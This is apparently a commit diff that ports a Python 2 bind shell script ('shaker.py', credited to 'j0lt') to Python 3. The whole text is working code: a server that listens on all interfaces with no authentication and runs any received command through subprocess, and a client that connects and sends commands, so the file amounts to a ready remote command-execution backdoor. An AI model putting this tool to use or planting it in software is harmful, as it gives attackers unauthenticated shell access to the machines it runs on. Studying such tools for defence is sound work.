|
1 | | -# Require python2 |
2 | | -# Bind shell by j0lt |
3 | | -# This script is just for giving reference that how bind shell look like in python, you can modify as per your need. |
4 | | -# Usage Format : |
5 | | -# For Running Server : shaker.py server [port] |
6 | | -# For Running client : shaker.py client [port] [ip of server] |
7 | | - |
8 | 1 | import socket |
9 | | -from sys import argv |
10 | | -from os import _exit |
| 2 | +import sys |
11 | 3 | import json |
12 | | -from zlib import compress,decompress |
13 | | -from platform import system |
14 | | - |
15 | | - |
16 | | -class server: |
| 4 | +import zlib |
| 5 | +import platform |
| 6 | +import subprocess |
17 | 7 |
|
18 | | - def __init__(self,port): |
19 | | - self.ip = '0.0.0.0' |
| 8 | +class BindShellServer: |
| 9 | + def __init__(self, port): |
| 10 | + self.host = '0.0.0.0' |
20 | 11 | self.port = port |
21 | | - self.l = "cd" |
22 | | - self.o = system() |
23 | | - if self.o == "Linux" or self.o == "SunOS": |
24 | | - self.l = "pwd" |
| 12 | + self.init_cmd = 'pwd' if platform.system() in ['Linux', 'SunOS'] else 'cd' |
25 | 13 |
|
26 | 14 | def start(self): |
27 | 15 | try: |
28 | | - so = socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
29 | | - so.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) |
30 | | - so.bind((self.ip,self.port)) |
31 | | - except socket.error: |
32 | | - print "There is some error with address...\t The Server could not be started" |
33 | | - _exit(1) |
34 | | - try: |
35 | | - so.listen(1) |
36 | | - host = socket.gethostbyname(socket.gethostname()) |
37 | | - print "[%s:%s] Waiting for connection ..."%(host,self.port) |
38 | | - |
| 16 | + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: |
| 17 | + server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) |
| 18 | + server_socket.bind((self.host, self.port)) |
| 19 | + server_socket.listen(1) |
| 20 | + print(f"[{socket.gethostbyname(socket.gethostname())}:{self.port}] Waiting for connection...") |
| 21 | + |
| 22 | + conn, addr = server_socket.accept() |
| 23 | + with conn: |
| 24 | + print(f"Connected with {addr[0]}") |
| 25 | + welcome_msg = { |
| 26 | + "msg": f"Connected with {platform.system()} at {socket.gethostbyname(socket.gethostname())}", |
| 27 | + "location": self.run_cmd(self.init_cmd)[1] |
| 28 | + } |
| 29 | + conn.sendall(zlib.compress(json.dumps(welcome_msg).encode())) |
| 30 | + |
| 31 | + while True: |
| 32 | + try: |
| 33 | + command = conn.recv(2048) |
| 34 | + if not command: |
| 35 | + break |
| 36 | + command = command.decode().strip() |
| 37 | + if command.lower() == 'exit': |
| 38 | + break |
| 39 | + output, location = self.run_cmd(command) |
| 40 | + response = {"output": output, "location": location} |
| 41 | + conn.sendall(zlib.compress(json.dumps(response).encode())) |
| 42 | + except Exception as e: |
| 43 | + print(f"Connection error: {e}") |
| 44 | + break |
39 | 45 |
|
40 | | - while 1: |
41 | | - |
42 | | - ob , address = so.accept() |
43 | | - print "Connected with %s "%address[0] |
44 | | - ob.send(compress(json.dumps({"msg":"Connected With %s os at %s"%(self.o,host) , "location":self.__cmd(self.l)[1]}).encode())) |
45 | | - while 1: |
46 | | - try: |
47 | | - command = ob.recv(2048) |
48 | | - assert(command != "exit") |
49 | | - reply = self.__cmd(command) |
50 | | - data = json.dumps({"output":reply[0], "location":reply[1]}) |
51 | | - ob.send(compress(data.encode())) |
52 | | - except socket.error: |
53 | | - print "Connection Ended..\n Reconnecting..." |
54 | | - break |
55 | | - except (KeyboardInterrupt,AssertionError): |
56 | | - print "Stoping server .." |
57 | | - ob.send("Server Stopped..") |
58 | | - ob.close() |
59 | | - so.close() |
60 | | - _exit(1) |
61 | | - |
62 | | - except socket.error: |
63 | | - print "Connection problem .." |
64 | | - so.close() |
65 | | - _exit(1) |
66 | 46 | except KeyboardInterrupt: |
67 | | - print "Stoping server .." |
68 | | - so.close() |
69 | | - _exit(1) |
| 47 | + print("Server interrupted by user.") |
| 48 | + except Exception as e: |
| 49 | + print(f"Server error: {e}") |
70 | 50 |
|
71 | | - def __cmd(self,command): |
72 | | - from os import popen |
| 51 | + def run_cmd(self, command): |
73 | 52 | try: |
74 | | - q = popen(self.l).read() |
75 | | - o = popen(command).read() |
76 | | - |
77 | | - return (o,q) |
78 | | - except: |
79 | | - return "Sorry!! Command not executed" |
80 | | - |
81 | | -class client: |
82 | | - |
83 | | - def __init__(self,ip, port): |
| 53 | + location = subprocess.getoutput(self.init_cmd) |
| 54 | + output = subprocess.getoutput(command) |
| 55 | + return output, location |
| 56 | + except Exception as e: |
| 57 | + return f"Command failed: {e}", "" |
| 58 | + |
| 59 | +class BindShellClient: |
| 60 | + def __init__(self, ip, port): |
84 | 61 | self.ip = ip |
85 | 62 | self.port = port |
86 | 63 |
|
87 | 64 | def start(self): |
88 | | - so = socket.socket(socket.AF_INET,socket.SOCK_STREAM) |
89 | | - while 1: |
90 | | - try: |
91 | | - so.connect((self.ip,self.port)) |
92 | | - data = json.loads(decompress(so.recv(2048)).decode()) |
93 | | - print data.get('msg') |
94 | | - except socket.error: |
95 | | - print "Connection Error ... or Server is down" |
96 | | - if raw_input("Try Reconnect[Y/n]").lower() == 'n': |
97 | | - _exit(1) |
98 | | - else: |
99 | | - continue |
100 | | - |
101 | | - while 1: |
102 | | - try: |
103 | | - |
104 | | - a = raw_input('%s>'%data.get('location').replace('\n','')) |
105 | | - so.sendall(a) |
106 | | - assert(a.lower() != 'exit') |
107 | | - data = json.loads(decompress(so.recv(2048)).decode()) |
108 | | - print data.get('output') |
109 | | - except (socket.error,AssertionError) : |
110 | | - print "Server Disconnected" |
111 | | - so.close() |
112 | | - _exit(1) |
113 | | - |
114 | | -if __name__ == "__main__": |
115 | | - |
116 | | - try: |
117 | | - assert(argv[1].lower() in ["client", "server"]) |
118 | | - assert (int(argv[2]) in range(1, 65535)) |
119 | | - |
120 | | - port = int(argv[2]) |
121 | | - if argv[1].lower() == "client": |
122 | | - ip = argv[3] |
123 | | - assert (socket.inet_aton(argv[2])) |
124 | | - s = client(ip, port) |
125 | | - s.start() |
126 | | - |
127 | | - else: |
128 | | - s = server(port) |
129 | | - s.start() |
130 | | - |
131 | | - except: |
132 | | - print "The Parameter provided are wrong \n\n\tUsage Format : shaker.py [client/server] [port] [ip{just for client}]" |
133 | | - _exit(1) |
| 65 | + while True: |
| 66 | + try: |
| 67 | + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket: |
| 68 | + client_socket.connect((self.ip, self.port)) |
| 69 | + data = json.loads(zlib.decompress(client_socket.recv(2048)).decode()) |
| 70 | + print(data.get("msg")) |
| 71 | + |
| 72 | + while True: |
| 73 | + try: |
| 74 | + command = input(f"{data.get('location').strip()}> ") |
| 75 | + if command.lower() == 'exit': |
| 76 | + client_socket.sendall(command.encode()) |
| 77 | + print("Exiting client.") |
| 78 | + return |
| 79 | + client_socket.sendall(command.encode()) |
| 80 | + response = json.loads(zlib.decompress(client_socket.recv(2048)).decode()) |
| 81 | + print(response.get("output")) |
| 82 | + data = response |
| 83 | + except Exception as e: |
| 84 | + print(f"Server disconnected: {e}") |
| 85 | + return |
| 86 | + except (ConnectionRefusedError, socket.error): |
| 87 | + print("Connection failed. Server may be down.") |
| 88 | + retry = input("Try reconnect? [Y/n]: ").strip().lower() |
| 89 | + if retry == 'n': |
| 90 | + break |
| 91 | + |
| 92 | +def main(): |
| 93 | + if len(sys.argv) < 3: |
| 94 | + print("Usage: python3 shaker.py [client/server] [port] [ip (client only)]") |
| 95 | + sys.exit(1) |
| 96 | + |
| 97 | + role = sys.argv[1].lower() |
| 98 | + port = int(sys.argv[2]) |
| 99 | + |
| 100 | + if role == 'server': |
| 101 | + server = BindShellServer(port) |
| 102 | + server.start() |
| 103 | + elif role == 'client': |
| 104 | + if len(sys.argv) != 4: |
| 105 | + print("Client mode requires IP address.") |
| 106 | + sys.exit(1) |
| 107 | + ip = sys.argv[3] |
| 108 | + client = BindShellClient(ip, port) |
| 109 | + client.start() |
| 110 | + else: |
| 111 | + print("Invalid role. Choose 'client' or 'server'.") |
| 112 | + |
| 113 | +if __name__ == '__main__': |
| 114 | + main() |
134 | 115 |
|
0 commit comments